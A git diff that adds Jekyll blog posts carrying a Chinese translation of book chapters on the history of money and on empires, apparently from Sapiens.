+人们之所以愿意如此，正是因为他们接受了这个集体的想象。“信任”正是所有金钱形式最基本的原料。如果有个富裕的农民卖掉房舍田产换来一袋贝壳，还带着这袋贝壳前往远地的省份，那是因为他相信抵达之后，其他人会愿意用稻米、房屋和田地和他交换这些贝壳。所以，可以说金钱就是一种相互信任的系统，而且还不是随随便便的某种系统：金钱正是有史以来最普遍也最有效的互信系统。 +在这种信任的背后，有着非常复杂而长期的政治、社会和经济网络。为什么我会相信贝壳、金币或美元钞票？原因就在于：我的邻居都信。正因为我的邻居都信，所以我也信。而我们都信的原因在于我们的国王也信，要求我们用这些东西来缴税；还有我们的牧师也信，要求我们用这些东西来缴什一税。拿一张一美元的钞票来仔细瞧瞧，我们会发现这只是一张色彩丰富的纸，一面有美国财政部长的签名，另一面则写着“In God We Trust”（我们信神）。我们之所以愿意接受以美元付款，正是因为我们相信神，也相信美国财政部长。正因为“信任”这件事如此关键，我们就可以知道为什么金融体系会与政治、社会和意识体系如此紧密相连，为什么金融危机往往是由政治发展引发，以及为什么光是股票交易商某个早上的感觉就能影响股市的涨跌。 +最早发明钱的时候，人们还没有这种信任，所以要当作钱的事物本身就得有实际的价值。史上最早的金钱制度是苏美尔人的“麦元”制度，就是一个很好的例子。麦元制度的出现时间大约是公元前3000年，与文字出现的时间地点正好相同。前面提过，文字的出现是为了因应行政活动的日益频繁，而麦元的出现则是为了因应经济活动的日渐活络。 + + +所谓的麦元其实就是大麦，将固定量的大麦谷粒作为通用单位，用来衡量和交换其他各种货物和服务。当时最普遍的单位是“席拉”（sila），约等于一升。当时大量生产了一席拉标准容量的碗，每当人民要买卖东西的时候，就能很方便地量出所需要的大麦数量。另外，薪水也是以席拉为单位用大麦来支付。每名男工一个月可以赚60席拉，而女工则赚30席拉。至于领班则可领到1200~5000席拉。当然，就算是最能吃的领班，一个月也吃不了5000升的大麦，但多余的大麦就能用来购买其他商品，像是油、山羊、奴隶，还有除了大麦以外的食物。58 +虽然大麦本身也具有价值，但还是很难说服今天的民众将大麦视为货币，而不只是另一种商品。要解释这点，可以想象一下如果你扛着一麻袋的大麦到附近的卖场，说你想买件衬衫或者比萨，会发生什么事。店家很可能马上就大叫保安救人了。尽管如此，以大麦来当作第一种货币建立信任关系，还算是个简单合理的选择，毕竟再怎样大麦也还是有它生物学上的价值：人类可以吃。但另一方面，讲到储存和运送，大麦就还是有其局限性。金钱货币史上真正的突破，就是人类终于开始相信某些货币形式，虽然它们本身没什么固有价值，但却能方便储存与运送。这样的金钱制度，大约出现于公元前2500年的美索不达米亚：银舍客勒制度。 +舍客勒并不是某种货币，而是指“8.33克的银子”。《汉谟拉比法典》曾提过，如果某个上等人杀了一个女奴，就要赔偿20舍客勒的银子，这里指的就是大约166克的银，而不是20个某种银币。《圣经·旧约》的金钱交易多半用的也是银子，而不是硬币。例如约瑟的哥哥把约瑟卖给以实玛利人的时候，价钱就是20舍客勒或说166克的银子。（与女奴的命一样便宜。毕竟当时约瑟也只是个孩子。） +但与先前的麦元制度的不同之处，在于银舍客勒本身并没有什么实用价值。银子不能吃、不能喝、不能穿，质地也太软，无法做成什么有用的工具（如果做成犁或是剑，简直就像用铝箔做的一样脆弱）。真正要用的时候，白银和黄金只会做成首饰、皇冠以及各种象征地位的物品；换言之，都是在特定文化里社会地位高的人所拥有的奢侈品。它们的价值完全只是因为文化赋予而来。 +* * * +像这样为贵金属定出重量单位，最后终于发展出了硬币。大约在公元前640年，土耳其西部吕底亚（Lydia）王国的国王阿耶特斯（Alyattes）铸造出史上第一批硬币。这些硬币使用金或银的材质，有标准重量，并且刻有识别印记。印记有两种意义：第一，印记指出硬币里含有多少贵金属。第二，印记能证明发行者的身份，进而确保硬币成分。几乎所有现在的硬币，都可以说是吕底亚硬币的后代子孙。 +过去的金锭银锭没有任何印记，有印记的硬币相较之下有两大优点。第一，锭状金属每次交易都得重新称重。第二，光是称重还不够。鞋匠要怎么才知道客人拿来买鞋的银锭货真价实，而不是一块铅上涂了一层薄薄的银？硬币就能解决这些问题。一旦印上印记，就确认了硬币的价值，所以鞋匠的收银台上就不用再另外放台秤了。更重要的是，硬币上的印记代表着某些政治权力，能够确保硬币的价值。 +虽然这些硬币上的印记大小和形状曾多次调整，但重点信息从来未曾改变：“我，伟大的国王某某某保证，这个扁扁圆圆的金属含有五克黄金，不多也不少。若有人胆敢伪造此币，即为伪造本王签章，有辱本王名声，此等罪孽，必处极刑。”正因如此，铸造伪币的罪行一直比其他诈欺行为判得更重。因为造伪币不只是单纯的诈欺，更是对主权的挑战，直接冒犯了国王的权力、特权和他本人。用法律术语来说，就是“lèse majesté”（冒犯君主），通常会经过一阵凌虐惩罚，最后处死。只要人民相信国王的权威和人格，就会相信他所发行的硬币。像是古罗马的迪纳厄斯（denarius）银币，印有古罗马皇帝的名字和图像，而正因为民众相信皇帝的权威和人格，就算是未曾谋面的陌生人，也不会怀疑这枚银币的价值。 +与此相对的是，皇帝的权力也得靠迪纳厄斯银币来建立与维持。可以想象一下，如果古罗马帝国没有硬币，每次收税或支薪都得处理一堆的大麦小麦，会是多困难的事情。如果得在叙利亚收集一堆大麦作为税收，运到古罗马的国库里，再运到英格兰去支付给各个军团，根本是件不可能的任务。除此之外，如果只有古罗马居民接受这些硬币，但高卢人、希腊人、埃及人和叙利亚人还是用贝壳、象牙珠或布匹来计价，整个系统制度也绝对无法成功。 +黄金福音 +古罗马的硬币广受信任，甚至在帝国以外，大家收集迪纳厄斯银币也是毫不手软。在公元1世纪，甚至连印度市场也愿意接受古罗马硬币，但最近的古罗马军团可还有数千公里之遥。印度人十分信任迪纳厄斯银币和上面的皇帝图像，所以等到当地领主铸造硬币的时候，他们不仅模仿迪纳厄斯银币的外形，甚至连古罗马帝国皇帝的肖像也依样画葫芦！“迪纳厄斯”当时也成了硬币的通称。穆斯林的哈里发把这个名称再阿拉伯语化，发行了“第纳尔”（dinar）货币。直到现在，像是约旦、伊拉克、塞尔维亚、马其顿、突尼斯等国，还是以第纳尔作为货币的正式名称。 +吕底亚王国式的硬币从地中海传到印度洋，而与此同时，中国发展出了另一种略有不同的金钱制度，用的是铜币和没有印记的金银元宝。然而，两种金钱制度还是有相当的共通性（特别是都以黄金和白银为基础），中国与吕底亚王国也建立起密切的金融和商业关系。于是，穆斯林和欧洲商人及征服者就这样逐渐将吕底亚金钱系统和这则“黄金福音”传到了地球上的每个角落。到了现代晚期，全世界已经成了单一的金钱货币区，起初用黄金和白银，后来再转变成少数几种有公信力的货币，如英镑和美元。 +出现了跨国家、跨文化的货币区之后，终于奠定整个亚非世界统一的基础，最后让全球都成了单一经济和政治领域。虽然各地的人们还是继续讲着不同的语言，服从不同的统治者，敬拜不同的神灵，但都信服着同样的黄金白银、金币银币。要不是大家有这项共同的信念，全球贸易网络几乎绝无可能成真。西班牙征服者于16世纪在美洲发现黄金和白银，让欧洲商人能够到东亚购买丝绸、瓷器和香料，同时促进了欧洲和东亚的经济发展。这些黄金和白银产自墨西哥和安第斯山脉，离开欧洲人之手就进了中国丝绸商和瓷器商的口袋。如果中国人没有患上像科尔特斯一行人同样的“心病”，拒绝欧洲人用黄金和白银付账，情况会是如何？ +中国人、印度人、穆斯林和西班牙人分属不同文化，在大部分事情上意见相左，但究竟为什么大家都同样相信黄金有价？为什么不是西班牙人相信黄金，穆斯林相信大麦，印度人相信贝壳，中国人相信丝绸？经济学家已经提出现成的答案。在贸易连接两个区域的时候，只要是能够运送的货品，就会受到供需力量的影响，让价格达到平衡。让我们用一个假设来解释。假设在印度与地中海地区首次开始贸易的时候，印度人对黄金兴趣寥寥，所以黄金几乎一文不值。但在地中海，黄金却是个人人垂涎的地位象征，价值高昂。接下来会有什么情况？ +往来于印度和地中海之间的商人，开始注意到黄金的价差，于是在印度便宜购入黄金，再回到地中海高价出售。于是，印度市场上的黄金需求暴增，价格跟着水涨船高。与此同时，在地中海黄金供给大量增加，价格因此下降。不用多久，黄金在印度和地中海的价格就相去无几。正因为地中海人相信黄金有价，印度人也开始跟着相信。就算黄金对印度人来说仍然没有实际用途，光是因为地中海人重视黄金，就足以让印度人跟着重视起来。 +以此类推，就算有些人是我们憎恶、讨厌、嘲笑的对象，如果他们相信贝壳、美元或电子数据的价值，就足以让我们也跟着相信这些事物有价值。所以，就算是在宗教上水火不容的基督徒和穆斯林，也可以在金钱制度上达成同样的信仰。原因就在于宗教信仰的重点是自己相信，但金钱信仰的重点是“别人相信”。 +千百年来，哲学家、思想家和宗教人物都对钱嗤之以鼻，称钱为万恶的根源。但就算真是如此，钱同时也是人类最能接受的东西。比起语言、法律、文化、宗教和社会习俗，钱的心胸更为开阔。所有人类创造的信念系统之中，只有金钱能够跨越几乎所有文化鸿沟，不会因为宗教、性别、种族、年龄或性取向而有所歧视。也多亏有了金钱制度，才让人就算互不相识、不清楚对方人品，也能携手合作。 +金钱的价格 +金钱制度有两大原则： +1. 万物可换：钱就像是炼金术，可以让你把土地转为手下的忠诚，把正义转为健康，把暴力转为知识。 +2. 万众相信：有了金钱作为媒介，任何两个人都能合作各种计划。 +就是因为这两大原则，让数百万的陌生人能够合作各种贸易和产业。然而，这些看似无害的原则还是有黑暗的一面。如果一切都能换成金钱，而大家相信的又是不具名的硬币和贝壳，就可能伤害当地传统、亲密关系和人的价值，让冷酷无情的供需法则取而代之。 +一直以来，人类社会和家庭的维系靠的是“无价之宝”，像是荣誉、忠诚、道德和爱。但这些都不会被放上市场，也不应用金钱衡量。就算市场开出天价，有些事情就是不该做。像是父母绝不该贩子为奴，虔诚的基督徒绝不该犯下那些滔天大罪，忠诚的骑士绝不该背叛主人，而部落先祖留下的土地也绝不该落入外国人手中。 +然而，金钱一直试图打破这些限制，就像是水不断渗入大坝的裂缝。有些父母最后还是把几个孩子卖给贩子，这样才能养活其他孩子。有些虔诚的基督徒杀人、偷窃、诈欺，再用这些赃钱向教堂购买救赎。想大展身手的骑士把自己的忠诚卖给了出价最高的领主，再用这笔钱来购买自己跟班的忠诚。部落的土地被卖给来自世界另一边的外国人，好买到进入全球经济的门票。 +金钱还有更黑暗的一面。虽然金钱能建立起陌生人之间共通的信任，但人们信任的不是人类、社群或某些神圣的价值观，而只是金钱本身以及背后那套没有人性的系统。我们不信任陌生人，但我们现在也不信任隔壁的邻居，而只是信任他们手上的钱。没钱，就没有信任。等到钱渗透冲垮了社会、宗教和国家所筑成的大坝，世界就成了巨大而无情的市场。 +于是，人类的经济史就像跳着微妙的舞步。我们用金钱来促进与陌生人的合作，但又害怕这会破坏人类的价值和亲密的关系。一方面，我们也想打破那些限制金钱和商业流动的社会大坝；但另一方面，我们又不断筑起新的大坝，希望保护社会、宗教和环境免受市场力量的奴役。 +现在常有人说市场力量终会获胜，而无论是国王、宗教或社会，它们建起的大坝终将不敌金钱的狂潮。但这是天真的说法。一直以来，总有勇猛的战士、狂热的宗教分子、关心政治的人物多次打倒了工于心计的商人，甚至是让整个经济重新洗牌。所以，说到人类终将统一，绝不只是纯粹经济的过程。想知道原本成千上万的独立文化是如何逐渐相连、形成今天的地球村，虽然黄金和白银影响深远，但也别低估了刀剑的力量。 diff --git a/_posts/2017-01-06-203-sapiens-cp11.md b/_posts/2017-01-06-203-sapiens-cp11.md new file mode 100644 index 0000000..08d5b0c --- /dev/null +++ b/_posts/2017-01-06-203-sapiens-cp11.md @@ -0,0 +1,83 @@ +--- +layout: post +title: 第十一章帝国的愿景 +pid: 203 +tags: [人类简史：从动物到上帝] +--- +第十一章 +帝国的愿景 +古罗马也常打败仗。但就像大多数历史上最伟大的帝国统治者一样，虽然他们可能输掉几场小战役，但总能赢得最后的整场战争。如果一个帝国连一场战役都输不起，又怎么称得上是帝国？然而，公元前2世纪中叶从伊比利亚半岛传来的战报，却让古罗马人觉得芒刺在背。在这里有一个微不足道的小山城努曼西亚（Numantia），住着当地的凯尔特人，而他们竟敢摆脱古罗马的控制。当时，古罗马已经是整个地中海区域不容置疑的霸主，打倒了马其顿和塞琉古（Seleucid）帝国，征服了骄傲的希腊城邦，还一把火让迦太基城成了废墟。努曼西亚什么都没有，只有对自由的热爱，以及一片荒凉的家园。然而，他们却让古罗马各个军团再三遭到挫败，古罗马军只能或者投降，或者带着耻辱撤退。 +终于，到了公元前134年，古罗马再也忍无可忍。参议院决定派出最勇猛的小西庇阿（Scipio Aemilianus，曾攻下迦太基城），大军前往努曼西亚，军士超过三万。小西庇阿不敢小看努曼西亚人的奋战精神和作战技巧，也希望能减少手下士兵无谓的伤亡，因此他直接用强化的防御工事包围了努曼西亚，阻挡他们与外界接触，而让饥饿成为最强大的武器。一年多后，努曼西亚人粮食耗尽。他们发现大势已去，便放火焚城；根据古罗马记载，努曼西亚人多半宁可自杀殉难，也不愿意成为古罗马的奴隶。 +后来，努曼西亚成了西班牙独立和勇气的象征。《堂·吉诃德》的作者塞万提斯（Miguel de Cervantes）就曾写过一篇名为“努曼西亚围城”的悲剧，虽然是以努曼西亚的毁灭作结，但也预示着西班牙未来的伟大愿景。诗人用诗歌赞颂他们的情操，画家也在画布上重现他们的英勇。1882年，努曼西亚遗址列为“国家纪念遗址”，成为西班牙爱国者的朝圣地。在20世纪50到60年代，西班牙最流行的漫画既不是超人，也不是蜘蛛侠，而是一个来自伊比利亚半岛的虚构英雄贾巴托（El Jabato），起身抵抗古罗马压迫的冒险漫画。直到今日，努曼西亚仍然是西班牙英雄主义和爱国主义的典范、年轻人心中的丰碑。 +然而，西班牙人歌颂努曼西亚用的西班牙文，却是源自小西庇阿使用的拉丁文，属于凯尔特语系的努曼西亚语已经失传。塞万提斯也是用拉丁文写下《努曼西亚围城》，而且这出剧用的还是希腊–罗马的艺术模式。努曼西亚本身并没有剧场。至于那些缅怀着努曼西亚英雄主义的西班牙志士们，往往也是古罗马天主教会的信徒，除了教廷就位于古罗马，那位神也是拉丁文的爱用者。同样，现代的西班牙法律源于古罗马法；西班牙政治是以古罗马为基础；西班牙美食和建筑多半根源于古罗马，而不是伊比利亚半岛上的凯尔特人。在现在的西班牙，努曼西亚除了遗址之外，其实已经没有什么真正留下。就算是这则故事本身，还是靠着古罗马历史学家的著作才流传了下来。故事经过修饰润色，符合古罗马观众最爱看的“热爱自由的野蛮人”情节。正因为古罗马在努曼西亚大获全胜，所以这些胜利者才会保留下了战败者的那些记忆。 +这种情节不太符合我们的品位，我们爱看的是反败为胜，是小人物的胜利。然而，历史就是没有正义。多数过去的文化，早晚都是遭到某些无情帝国军队的蹂躏，最后在历史上彻底遭到遗忘。就算是帝国本身最后也将崩溃，只是常常留下丰富而流传千古的遗产。在21世纪，几乎所有人的祖先都曾经属于某个帝国。 +究竟帝国是什么？ +帝国是一种政治秩序，有两项重要特征。第一，帝国必须统治着许多不同的民族，各自拥有不同的文化认同和独立的领土。但多少民族才算数？两三个民族还不够，而二三十就算很多；成为帝国的门槛，大概就介于两者之间。 +第二，帝国的特征是疆域可以灵活调整，而且可以几乎无限扩张。帝国不需要改变基本架构和认同，就能够纳入更多其他国家和领土。说到今天的英国，如果不改变基本架构和认同，就很难再突破现有的疆界。但在1个世纪前，全世界几乎任何地方都有可能成为大英帝国的一部分。 +像这样的文化多元性和疆界灵活性，不仅让帝国独树一格，更让帝国站到了历史的核心。正是这两项特征，让帝国能够在单一的政治架构下纳入多元的族群与生态区，让越来越多人类与整个地球逐渐融合为一。 +这里要特别强调，帝国的定义就只在于文化多元性和疆界灵活性两项，至于起源、政府形式、领土范围或人口规模则并非重点。并不是一定要有军事征服才能有帝国。像是雅典帝国的起源就只是有一群人自愿结成联盟，哈布斯堡帝国则是因为许多精心安排的联姻，交织形成如蛛网般的关系。此外，帝国也不一定要有个专制的皇帝。像是史上规模最大的大英帝国，就属于民主政体。其他采用民主（或至少是共和）政体的帝国，还包括现代的荷兰、法国、比利时和美国，以及前现代的诺夫哥罗德（Novgorod）、古罗马、迦太基和雅典。 +此外，帝国的规模也并非重点。就算规模小之又小，也可能符合帝国的定义。像是雅典帝国，就算在国力的巅峰，面积和人口还是远远不及今日的希腊。以及阿兹特克帝国，面积也不如今天的墨西哥。但尽管如此，以上两者还是足以称为帝国，反而是现代的希腊和墨西哥不合定义。原因就在于雅典和阿兹特克都降服了几十甚至数百个不同的政体，而希腊和墨西哥并未做到。其中，雅典统治了超过100个曾经独立的城邦，而阿兹特克帝国如果其税收记录可靠，更是统治了371个不同的部落和民族。59 +这些区域在现在也就不过是个普通大小的国家，当时怎么可能有这么多民族？原因在于当时世界上民族的数量比今天多得多，但每个民族的人口数都较少，领地范围也较小。像是从地中海到约旦河岸，今天光是要满足仅仅两个民族的野心，就已经搞得烽火遍地，但在《圣经》初始的年代，这里可是养活了数十个国家、部落、小型王国和城邦。 +帝国正是造成民族多样性大幅减少的主因之一。帝国就像一台压路机，将许多民族独特的多样性逐渐夯平（例如努曼西亚人），整合制造出他们更大的新群体。 +邪恶的帝国？ +在我们这个时代，政治上有各种难听的字眼，而“帝国主义者”大概只在“法西斯”之后，排名第二。现代对于帝国的批评通常有两种： +1. 帝国制度就是行不通。长远来看，征服许多不同的民族，统治起来一定难有效率。 +2. 就算能够有效统治，这种做法也不道德，因为帝国正是造成各种毁灭和剥削的邪恶引擎。每个民族都有自决的权利，不该受到其他民族控制。 +从历史的角度看，以上第一点完全没道理，第二点也满是问题。 +就事实而言，帝国在过去2500年间一直就是全球最常见的政治形式，大多数人在这段时间都是活在帝国政体之下。此外，帝国政体其实非常稳定，多半时候要打倒反叛军根本不成问题。帝国之所以会倾覆，通常都是因为有外部侵略或是内部统治精英的内斗。相对而言，说到被征服者奋起追求自由、对抗帝国统治，向来记录都很差，他们多半都是持续臣服长达数百年之久。通常这些民族就慢慢被帝国消化，最后自己独特的文化也烟消云散。 +举例来说，西古罗马帝国在公元476年遭到日耳曼人推翻，但是他们过去数百年来征服的努曼西亚人、阿尔维尼人（Arverni）、赫尔维蒂人（Helvetians）、萨莫奈人（Samnites）、卢西塔尼亚人（Lusitanians）、翁布利亚人（Umbrians）、伊特鲁里亚人（Etruscans），以及其他数百个已经被遗忘的民族，并没有从帝国的余烬中恢复重生，而是就这样默默消失。这些民族虽然曾经属于各自的国家认同，讲着各自的语言，敬拜着各自的神，流传着各自的神话，但现在他们血缘上的后代无论在想法、语言、信仰上都已经是个完全的古罗马人。 +很多时候，某个帝国崩溃了，并不代表属民就能独立。反而是每在帝国瓦解或遭到驱逐之后，就会由新的帝国取而代之继续统治。这一点最明显的例子就在中东。现在中东同时存在各种独立的政治实体，彼此之间的边界也模模糊糊，但这是过去几千年间几乎前所未有的情形。上一次中东情势如此暧昧不明，已经是公元前8世纪、将近3000年前的事了！自从公元前8世纪兴起新亚述帝国，一直到20世纪中叶英法帝国解体，中东地区一直是像接力棒一样由一个帝国传给下一个帝国。而在英法终于掉棒之后，之前亚述人征服的亚兰人（Aramaeans）、亚扪人（Ammonites）、腓尼基人（Phoenicians）、非利士人（Philistines）、摩押人（Moabites）、以东人（Edomites）和其他民族早已消失不见。 + +确实，现在的犹太人、亚美尼亚人、乔治亚人都提出了某些证据，证明自己是远古中东民族的后裔。然而，这些都只是例外，反而证明了规则存在；而且甚至就连他们的说法也有些夸张。举例来说，我们无须多言，也知道现代犹太人的政治、经济和社会措施多半是来自过去两千年之间的帝国政体，而不是来自古老的犹太（Judea）王国。如果大卫王穿越时空来到今天最正统的犹太教堂，却看到信众穿的是东欧的衣服，讲的是德国的方言（意第绪语）、不断争论由巴比伦文字写成的教条（犹太法典），想必也是十分傻眼。远古的犹太王国既没有犹太会堂，也没有犹太法典，甚至连重要的犹太律法（Torah）也还不存在。 +* * * +要建立和维系帝国，确实通常就有惨烈的屠杀，而幸存者也会受到残酷的压迫。帝国的标准配备，常常就包括战争、奴役、驱逐和种族屠杀。古罗马人于公元83年入侵苏格兰，遭到当地卡里多尼亚人（Caledonian）的激烈反抗，结果古罗马人就让这个地方成为一片废墟。古罗马人曾经试图和谈，但卡里多尼亚的首领卡尔加库斯（Calgacus）在回应中大骂古罗马人是“世界的流氓”，并说“烧杀掳掠成了帝国的代名词；他们让一切成了沙漠，还说这就是和平”。60 +然而，帝国也不是完全有害无益。如果说帝国就是样样不行，所有相关的事物都该抛弃，那世界上大多数的文化便将不复存在。帝国四处征服、掠夺财富之后，不只是拿来养活军队、兴建堡垒，同时也赞助了哲学、艺术、司法和公益。现在人类之所以有许多文化成就，常常背后靠的就是剥削战败者。例如，要不是古罗马帝国如此繁荣兴盛，西塞罗、塞涅卡（Seneca）和圣奥古斯丁就不可能有钱有闲地思考写作；要不是莫卧儿王朝剥削印度人、征敛财富，就不可能盖起泰姬玛哈陵；要不是哈布斯堡王朝从那些讲着斯拉夫语、匈牙利语和古罗马尼亚语的省份征税，又怎么付得起海顿和莫扎特的佣金？而且，就算是卡尔加库斯的这番话，也不是靠着卡里多尼亚的作家把它流传下来。我们之所以还知道这些话，靠的是古罗马历史学家塔西佗（Tacitus）。但事实上，这些话可能根本就是塔西佗自己讲的。今天多数学者认为塔西佗不仅捏造了这段话，甚至连卡尔加库斯这个首领都是他捏造出来的，只是为了要表达自己和其他古罗马上层阶级对自己国家的想法。 +就算我们不要只看精英文化和高级艺术（high art），而将重点转向一般人的世界，还是会发现帝国遗痕在现代文化几乎无所不在。今天大多数人说话、思考和做梦的时候，用的都是过去曾拿刀对着我们祖先的征服者的语言。像是多数东亚人讲话和做梦的时候，用的是汉文化的语言。而在南美和北美，不管各地的人民祖先来自何方，从阿拉斯加最北的巴洛半岛，到南美最南的麦哲伦海峡，几乎所有人都讲着以下四种语言之一：西班牙语、葡萄牙语、法语或英语。现在的埃及人说阿拉伯语，认为自己是阿拉伯人，也认同阿拉伯帝国；然而，阿拉伯帝国其实是在公元7世纪征服了埃及，而且多次以铁腕措施镇压了企图反抗的埃及人民。至于在南非，大约有1000万祖鲁人还缅怀着19世纪祖鲁最光荣的年代，但其实大部分祖鲁人祖先的部落都曾经奋死抵抗祖鲁帝国的侵略，最后是在血腥的军事行动下才融为一体。 +这是为你们好 +由萨尔贡大帝所建立的阿卡德帝国（约公元前2250年）是我们最早有确切数据的帝国。萨尔贡发迹于美索不达米亚的基什（Kish），是这个小城邦的邦主。经过短短几十年，他不仅征服了所有美索不达米亚的城邦，还夺下在美索不达米亚中心地带之外的大片领土。萨尔贡曾夸口说自己已经征服了全世界。而事实上，他所统治的区域从波斯湾延伸到地中海，涵盖现在伊拉克和叙利亚的大部分地区，还包括一部分伊朗和土耳其的土地。 +阿卡德帝国在萨尔贡逝世后不久便随之崩溃，但这个帝国的外壳却开始一手传着一手。在接下来的1700年间，亚述、巴比伦和希泰（Hittite）的国王都以萨尔贡为榜样，吹嘘着自己也征服了全世界。到了大约公元前550年，波斯的居鲁士大帝更是吹牛皮吹得让人印象深刻。 +亚述的历任国王始终自称为亚述国王。就算声称统治了全世界，显然也是为了发扬伟大的亚述，没什么不好意思的。但居鲁士就不同了，他不仅声称自己统治整个世界，还说自己是为了全人类的福祉！这些波斯人对外邦说：“我们之所以征服你们，是为了你们好。”居鲁士希望他统治的属民都爱戴他，都觉得能成为波斯的属民和诸侯是再幸运不过的事。他希望其他国家民族都愿意臣服在波斯帝国下，而最著名的创举就是允许被流放到巴比伦的犹太人返回犹太家园重建圣殿，甚至还提供经济援助。居鲁士自认为不只是个统治犹太人的波斯国王，也是犹太人的国王，因此也要照顾犹太人的福祉。 +这种“统治全世界，为所有人类福祉而努力”的想法让人耳目一新。一直以来，演化让智人也像其他有社交关系的哺乳动物一样，一直都是排外的生物。智人本能上就会将人类分成“我们”和“他们”。所谓的“我们”，有共同的语言、宗教和习俗，我们对彼此负责，但“他们”就不干我们的事。“我们”与“他们”不同，而且也不欠他们什么。在我们的土地上，我们不想看到他们，也半点儿不关心他们的土地上发生了什么事。甚至，我们还不太把“他们”当人看。像是在苏丹的丁卡人（Dinka），他们说的“丁卡”就是“人”的意思。所以如果不是丁卡人，就不算是人。而丁卡人的死对头是努尔人（Nuer）。努尔语言中的“努尔”又是什么意思？它的意思是“原来的人”。而在距离苏丹沙漠有几千公里远的阿拉斯加冻原及西伯利亚东北部，住着尤皮克人（Yupik）。“尤皮克”在尤皮克语里又是什么意思？它的意思是“真正的人”。61 +然而，居鲁士的帝国思想与这些排外的民族相反，展现的是包容，而且无所不包。虽然居鲁士还是会强调统治者和被统治者之间的种族和文化差异，但认为整个世界基本上为一体，同样一套原则可以适用于所有时间地点，而且所有人类应互相负责。于是，人类就像是一个大家庭：父母享有特权，但同时也要负责孩子的幸福。 +这种新的帝国思想从居鲁士和波斯人传给了亚历山大大帝，再传给希腊国王、古罗马皇帝、穆斯林哈里发、印度君主，最后甚至还传给苏联总理和美国总统。这种良性的帝国思想让帝国的存在合理化，不仅让属民打消了反抗的念头，就算独立的民族也不再反抗帝国的扩张。 +除了波斯帝国外，世界其他地区也各自独立发展出了类似的帝国思想，特别是在中美洲、安第斯地区以及中国。根据中国传统的政治理论，人间的种种政治权威都来自“天”。老天会挑选最优秀的个人或家族，赋予“天命”，让他们统治天下，为黎民百姓谋福利。这样说来，所谓君权就该能够行遍天下。如果君主没得到“天命”，别说是天下，就连统治一个城的权力也没有。而如果统治者享有天命，就该有义务将正义与和谐传到整个世界。天命只能传给一个人，所以也不能同时有许多个独立国家的存在。 +秦始皇完成了史上第一次中国统一大业，号称“六合之内，皇帝之土……人迹所至，无不臣者……泽及牛马。莫不受德，各安其宇”62。于是，不论在中国政治思想或是历史记忆当中，帝国时期似乎都成了秩序和正义的黄金时代。现代西方认为所谓公义的世界应该是由各个独立的民族国家组成，但古代中国的概念却正好相反，认为政治分裂的时代不仅动荡不安，而且公义不行。这种看法对中国的历史产生深远的影响。每次一个帝国朝代崩溃，这种政治理论主流就让各方竞逐的势力不安于各自为政，而一心追求统一。而且事实证明，最后总能统一，只是时间早晚的问题。 +当“他们”成了“我们” +在许多小文化合并到少数大文化的过程中，帝国的影响厥功至伟。思想、人口、货物和技术的传播，在帝国境内要比分属不同政治区域来得方便迅速。而且，常常正是帝国本身刻意加速传播各种思想、制度、习俗和规范。原因之一，是这样统治容易。如果帝国的每个小地区都各有一套法律、文字、语言和货币，治理就非常困难。标准化绝对可说是皇帝的一大福音。 +第二个原因的重要性也不容小觑，帝国积极传播共同的文化，就能强化它们的合法性。至少从居鲁士和秦始皇开始，帝国不管是铺路或是屠杀，都会为自己的所作所为找到冠冕堂皇的理由，有的说是传播较高等的文化，也有的说这对被征服者的好处比起征服者更多。 +至于这些好处，有时候确实显而易见（例如都市规划、统一度量衡），但有时候也十分可疑（像是税收、征兵、崇拜皇帝）。只不过，多数帝国精英仍然一心相信，自己是为了所有帝国子民的整体福利而努力。在中国的统治阶级眼中，各个邻国及四方诸侯都是生活水深火热的蛮夷之邦，天朝中国应该泽被四方、广传华夏文化。所谓的天命为的不是剥削掠夺整个世界，而是要教化万民。同样，古罗马人也声称自己的统治理所当然，因为他们让野蛮人开始有了和平、正义，生命也更为高雅。像是他们说日耳曼民族生性野蛮，高卢人会画各种战妆，生活肮脏，为人无知，一直要到古罗马人到来，才用法律驯化了他们，用公共浴室让他们身体洁净，也用哲学让他们思想进步。公元前3世纪的孔雀王朝，也认为自己必须负起责任，将佛法传播到无知的世界。穆斯林哈里发也肩负着神圣的使命，要传播先知的启示，虽然最好是以和平的方式，但必要的时候也不惜一战。至于西班牙和葡萄牙帝国，他们也声称自己到印度和美洲不是为了财富，而是要让人改信真正的信仰。号称日不落国的大英帝国，也是号称传播着自由主义和自由贸易这两大福音。苏联人更是觉得责无旁贷，必须协助推动这个历史的必然，从资本主义走向无产阶级专政的乌托邦。至于现代许多的美国人，他们也认为美国必须负起道义责任，让第三世界国家同样享有民主和人权，就算这得靠巡航导弹和F-16战机，也是在所不惜。 +帝国所传播的文化理念很少只来自那一小群的统治精英。正由于帝国思想的理念常常正在于普遍和包容，所以帝国的统治精英也比较容易接纳不同的概念、规范和传统，而不会死硬坚持着萧规曹随的陈习。虽然也有些皇帝曾试着要回归自己的根源，让帝国的文化单纯一些，但多数帝国都已经从被征服的民族吸收了太多文化，而形成混合的文明。像是古罗马帝国的文化，里面希腊文化的成分几乎不亚于古罗马文化。阿拔斯王朝帝国文化也融合了波斯、希腊和阿拉伯文化。蒙古帝国文化几乎就是中国的翻版。至于对美国这个帝国来说，有着肯尼亚血统的总统奥巴马可以一边吃着意大利比萨，一边看着他最爱的英国史诗电影《阿拉伯的劳伦斯》，讲的还是阿拉伯反抗土耳其的故事。 +对于被征服者而言，就算有了文化大熔炉之后，文化同化也不见得容易。虽然帝国文明很可能四方征服各个民族、融合他们的文化，但对帝国绝大多数成员来说，混合的成果仍然令他们感到陌生。同化的过程常常带着痛苦和创伤。要放弃熟悉且深爱的地方传统并不容易，而要了解及采用新的文化也同样困难而令人深感压力。雪上加霜的是，等到帝国的属民千辛万苦终于接受了帝国文化，可能也是在数十年甚至数百年以后，帝国的精英才能把他们看成是“我们”。从征服到接受之间的数个世代，就这样形成了失落的一群。他们已经失去了自己心爱的当地文化，但在新加入的帝国世界里却还没有一个平等的地位，反而只是继续被视为蛮夷之地。 